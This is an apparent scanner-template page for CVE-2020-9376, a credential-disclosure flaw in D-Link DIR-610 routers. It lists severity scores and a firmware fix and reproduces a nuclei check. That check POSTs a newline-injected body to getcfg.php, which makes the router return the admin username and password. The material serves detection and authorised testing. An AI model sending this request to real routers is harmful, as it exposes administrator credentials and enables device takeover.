D-Link DIR-610 Devices - Information Disclosure

highseverity

7.5CVSS score

18.5%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

D-Link DIR-610 devices allow information disclosure via SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1 to getcfg.php. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Impact

An attacker can gain sensitive information from the device, leading to potential unauthorized access or further attacks.

Fix

Apply the latest firmware update provided by D-Link to fix the vulnerability.

How to confirm it

Send: POST {{BaseURL}}/getcfg.php
Positive when: contains "<name>Admin</name>" and "</usrid>" and "</password>" AND status 200

Run it with nuclei: nuclei -id CVE-2020-9376 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-9376

info:
  name: D-Link DIR-610 Devices - Information Disclosure
  author: whynotke
  severity: high
  description: |
    D-Link DIR-610 devices allow information disclosure via SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1 to getcfg.php.
    NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
  impact: |
    An attacker can gain sensitive information from the device, leading to potential unauthorized access or further attacks.
  remediation: |
    Apply the latest firmware update provided by D-Link to fix the vulnerability.
  reference:
    - https://gist.github.com/GouveaHeitor/dcbb67b301cc45adc00f8a6a2a0a590f
    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10182
    - https://www.dlink.com.br/produto/dir-610/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9376
    - https://github.com/Z0fhack/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-9376
    cwe-id: CWE-74
    epss-score: 0.18458
    epss-percentile: 0.97265
    cpe: cpe:2.3:o:dlink:dir-610_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dir-610_firmware
  tags: cve,cve2020,dlink,disclosure,router,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/getcfg.php"

    body: SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<name>Admin</name>"
          - "</usrid>"
          - "</password>"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from